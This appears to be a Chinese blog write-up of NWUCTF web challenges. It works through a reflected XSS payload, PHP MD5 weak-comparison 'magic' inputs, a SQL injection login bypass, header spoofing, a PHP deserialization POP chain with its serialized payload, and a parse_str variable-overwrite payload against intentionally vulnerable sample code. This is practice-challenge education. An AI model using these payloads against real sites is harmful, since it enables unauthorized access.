NWUCTF刷题记录
0x00 机器人
知道robots.txt文件的话,就很容易做出来了,robots.txt文件可以见我之前的博客
0x01 让我们来弹一个flag
题目给了学习资料,然后根据它的提示,输入<script>alert('flag')</script>,即可得到nwuctf{XSS_Is_A_Important_Vul}
0x02 php弱类型
查看源码,
1 2 3 4 5 6 7 8 9 10 11
| </?php $s = $_GET['s']; $a = 'QNKCDZO'; $md5a = md5($a); $md5s = md5($s); if($s != $a && $md5a == $md5s){ echo $flag; }else{ echo 'try again'; }
|
要求明文不相等md5值相等,百度了一下,有很多?,
240610708、QNKCDZO、aabg7XSs、aabC9RqS,这几个随便传入哪一个都行,得到flag。
具体关于php弱类型的内容可以见我博客
0x03 An easy SQLi 2(万能密码
1’ or 1=1#/*,密码随便,不输都行

0x04 头啊头哇


改what为flag看看,

用burp抓包,改User-Agent,
上图说你从google来吗,很明显加个referer头再go一下

0x05 唯快不破?
套路:用截图工具在它猝不及防的时候一个个接下来。。。

python:
1 2 3
| import requests url1='http://123.207.166.65/nwuctf/weibu/zxcvbnh.html' print(requests.get(url1).text)
|
运行后得到第一段的flag,并且返回了跳转的第二段的地址,加上第二段的URL,继续跑,同理得出第三段,拼起来提交。

0x06 php反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php error_reporting(0); class hack { public $mod1; public function __destruct() { $this->mod1 = "concat string".$this->mod1; }
} class str { public $str1; public function __toString() { $this->str1->flag(); return "1"; } } class get_flag { public function flag() { echo "tql, 缁欏笀鍌呴€抐lag:"."nwuctf{xxxxxxxxxxxxxxx}"; } } $a = $_GET['string']; unserialize($a); highlight_file(__FILE__); ?>
|
借鉴一位大佬的博客,payload代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php class hack { public $mod1; public function __construct() { $this->mod1 = new str; }
} class str { public $str1; public function __construct() { $this->str1 = new get_flag; } }
class get_flag { public function flag() { echo "tql, 缁欏笀鍌呴€抐lag:"."nwuctf{xxxxxxxxxxxxxxx}"; } }
$a = new hack; $b = serialize($a); echo $b; ?>
|
运行代码后得到
1
| O:4:"hack":1:{s:4:"mod1";O:3:"str":1:{s:4:"str1";O:8:"get_flag":0:{}}}
|
题目url传入string=O:4:”hack”:1:{s:4:”mod1”;O:3:”str”:1:{s:4:”str1”;O:8:”get_flag”:0:{}}}即可。

0x07 如果还有如果
估计就是代码审计了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
$flag="nwuctf{xxxxxxxxxxxxxxxxxxxx}"; if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['action'])){ $action = $res['action']; } } if ($action === 'auth') { if (!empty($res['user'])) { $user = $res['user']; } if (!empty($res['pass'])) { $pass = $res['pass']; }
if (!empty($user) && !empty($pass)) { $hashed_password = hash('md5', $user.$pass); } if (!empty($hashed_password) && $hashed_password === '22180f07c8d8de04667257a18d9a64c6') { echo $flag; } else { echo 'fail :('; } } else { highlight_file(__FILE__); }
|
payload:
1
| ?action=auth&hashed_password=22180f07c8d8de04667257a18d9a64c6
|